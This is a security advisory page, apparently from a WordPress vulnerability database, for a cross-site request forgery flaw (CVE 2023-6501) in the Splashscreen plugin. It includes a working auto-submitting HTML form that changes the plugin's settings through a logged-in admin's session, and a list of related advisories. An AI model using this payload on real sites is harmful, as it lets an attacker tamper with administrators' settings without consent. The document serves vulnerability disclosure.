Splashscreen <= 0.20 – Settings Update via CSRF | CVE 2023-6501 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form action="https://example.com/wp-admin/options-general.php?page=splashscreen.php" method="POST">
    <input type="text" name="splashscreen_type" value="dGVtcGxhdGUuaHRt">
    <input type="text" name="splashscreen_excludedpaths" value="">
    <input type="text" name="splashscreen_submit" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>

Affects Plugins

No known fix

References

CVE

URL

https://magos-securitas.com/txt/CVE-2023-6501.txt

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website

https://magos-securitas.com

Verified

Yes

WPVDB ID

dd19189b-de04-44b6-8ac9-0c32399a8976

Timeline

Publicly Published

2024-01-19 (about 1 year ago)

Added

2024-01-19 (about 1 year ago)

Last Updated

2024-01-19 (about 1 year ago)

Other

Published

Title

Published

2024-06-05

Title

Pure Chat – Live Chat Plugin & More! < 2.23 - Cross-Site Request Forgery

Published

2025-01-16

Title

Content Security Policy Pro <= 1.3.5 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2021-09-11

Title

WP Statistics < 13.1.2 - Arbitrary Plugin Activation/Deactivation via CSRF

Published

2025-01-16

Title

Custom List Table Example <= 1.4.1 - Cross-Site Request Forgery to Reflected Cross-Site Scripting

Published

2023-10-03

Title

Interactive World Map < 3.4.4 - CSRF